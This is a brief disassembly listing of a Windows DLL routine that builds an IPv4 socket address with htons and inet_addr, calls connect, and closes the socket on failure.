mov word [rsp + 0x20], r14w
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, rbx
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
movsxd rbx, edi
lea r8d, [r14 + 0xe]
mov rcx, rbx
mov dword [rsp + 0x24], eax
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x1800027bc
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret
mov rax, rbx
jmp 0x1800027a6